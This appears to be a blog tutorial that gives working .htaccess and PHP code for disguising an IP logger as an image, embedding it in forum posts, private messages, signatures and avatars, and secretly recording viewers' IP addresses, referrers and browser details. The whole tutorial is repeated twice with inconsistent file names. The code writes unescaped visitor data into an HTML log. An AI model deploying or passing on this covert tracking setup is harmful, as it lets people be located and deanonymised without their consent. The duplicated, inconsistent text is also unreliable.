step 1.
find a free webhost we can use and there are a lot out there and a register and a free account.
step 2.
make a new dir
example : http://www.example.com/dir
step 3.
create a new file named .htaccess
step 4.
put this code inside .htaccess
code :
Rewrite Engine on
Rewrite Rule ^image.gif$ iplogger.php
where it says: image.gif
you can change it to where you have uploaded your image, it doesn't matter what image and it can be in any image type such as : gif ,png,etc.
Where it says: ipgrabber.php
That is the PHP file that will have the Ip logging code, whatever you want to name it.
Step 5 : -
Create an empty ipgrabber.php file (or whatever you named it)
And put in this code
<?php
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP: </b>$ip<br><b>Page: </b>$page<br><b>Refer: </b>$refer<br><b>Useragent:
</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);
?>
Then create a empty html file called logger.html
Step 6:-
Upload your image.gif file (or whatever you named it)
if you haven`t already
Step 7 :-
Go to a forum or wherever you would like
And insert the image using:
Code:
[Image: image.gif]
You can insert this in:
- Pm`s
- Posts & Threads
- Signatures
- Avatars
-And anything else that allows external linking of images.
If you would like to insert your image using HTML where is allowed then use this code:
Code:
<IMG SRC="http://www.example.com/ip/image.gif">
Step 8 :-
Check your: http://www.example.com/ip/logger.html
For all your IP logs including where they came from.
How it WORKS:
When the web tries to access the Image that is in the directory with the .htaccess file.The image.gif displays iplogger.php.Because you told it to do so.
It is called mod_rewriting and is very useful.This tricks the forum or whatever site your using it on to display the re-written url.
--
If you would like to display an image at the same time while logging their ip, then you can by inserting the img src code into the php file.
--
Thats it!
Hope you`ve enjoyed this tutorial that I wrote.
Contact ==> www.facebook.com/ryan.manjothi
find a free webhost we can use and there are a lot out there and a register and a free account.
step 2.
make a new dir
example : http://www.example.com/dir
step 3.
create a new file named .htaccess
step 4.
put this code inside .htaccess
code :
Rewrite Engine on
Rewrite Rule ^image.gif$ iplogger.php
where it says: image.gif
you can change it to where you have uploaded your image, it doesn't matter what image and it can be in any image type such as : gif ,png,etc.
Where it says: ipgrabber.php
That is the PHP file that will have the Ip logging code, whatever you want to name it.
Step 5 : -
Create an empty ipgrabber.php file (or whatever you named it)
And put in this code
<?php
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP: </b>$ip<br><b>Page: </b>$page<br><b>Refer: </b>$refer<br><b>Useragent:
</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);
?>
Then create a empty html file called logger.html
Step 6:-
Upload your image.gif file (or whatever you named it)
if you haven`t already
Step 7 :-
Go to a forum or wherever you would like
And insert the image using:
Code:
[Image: image.gif]
You can insert this in:
- Pm`s
- Posts & Threads
- Signatures
- Avatars
-And anything else that allows external linking of images.
If you would like to insert your image using HTML where is allowed then use this code:
Code:
<IMG SRC="http://www.example.com/ip/image.gif">
Step 8 :-
Check your: http://www.example.com/ip/logger.html
For all your IP logs including where they came from.
How it WORKS:
When the web tries to access the Image that is in the directory with the .htaccess file.The image.gif displays iplogger.php.Because you told it to do so.
It is called mod_rewriting and is very useful.This tricks the forum or whatever site your using it on to display the re-written url.
--
If you would like to display an image at the same time while logging their ip, then you can by inserting the img src code into the php file.
--
Thats it!
Hope you`ve enjoyed this tutorial that I wrote.
Contact ==> www.facebook.com/ryan.manjothi
0 comments:
Post a Comment